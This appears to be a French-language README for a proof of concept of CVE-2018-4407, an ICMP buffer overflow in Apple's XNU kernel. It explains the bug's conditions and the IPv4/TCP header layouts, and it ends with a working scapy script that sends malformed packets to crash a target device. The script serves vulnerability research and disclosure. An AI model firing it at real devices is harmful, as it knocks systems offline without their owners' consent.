
Une vulnérabilité de débordement de tampon dans le code d'erreur ICMP du noyau XNU provoque le crash des appareils iOS (ordinateurs portables et mobiles).
CVE-2018-4407 est une vulnérabilité de dépassement de tampon dans le code d'erreur ICMP du noyau XNU. Elle provoque le crash des appareils iOS (ordinateurs portables et mobiles) à la réception d'un seul (oui, un seul !) paquet mal formé.
Le bogue a été initialement divulgué par Kevin Backhouse dans son article de blog lgtm le 30 octobre 2018.
Le code dans ce dépôt est une preuve de concept de l'exploit CVE-2018-4407 implémenté en Python, utilisant scapy et nmap.
Quelques étapes de mon processus de débogage. Un aperçu du code du noyau XNU conduit aux nombres pour iphlen et tcphlen
qui peuvent déclencher le dépassement de tampon.
Comme Backhouse l'a dit, nous devons avoir icmplen > 84 et il semble que nous devrions entrer dans la branche de code
if(oip->ip_p == IPPROTO_TCP) pour y parvenir. Un paquet TCP déclencherait cette vulnérabilité.

Un en-tête IPv4 va de 20 octets minimum à 36 octets (selon les options).
IHL : est la longueur de l'en-tête IP, y compris les options. Il indique également où commence la charge utile.Longueur totale : serait la longueur totale du paquet IP (y compris l'en-tête IP et la charge utile TCP). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Un en-tête TCP va de 20 octets minimum à 60 octets (les options peuvent aller jusqu'à 40 octets).
Data offset : indique où les données commencent et peut aussi être considéré comme la longueur de l'en-tête. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Il n'est pas nécessaire de creuser aussi profondément dans le code XNU. Un simple script scapy, qui essaie manuellement différentes longueurs d'en-tête, peut également être utilisé :
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))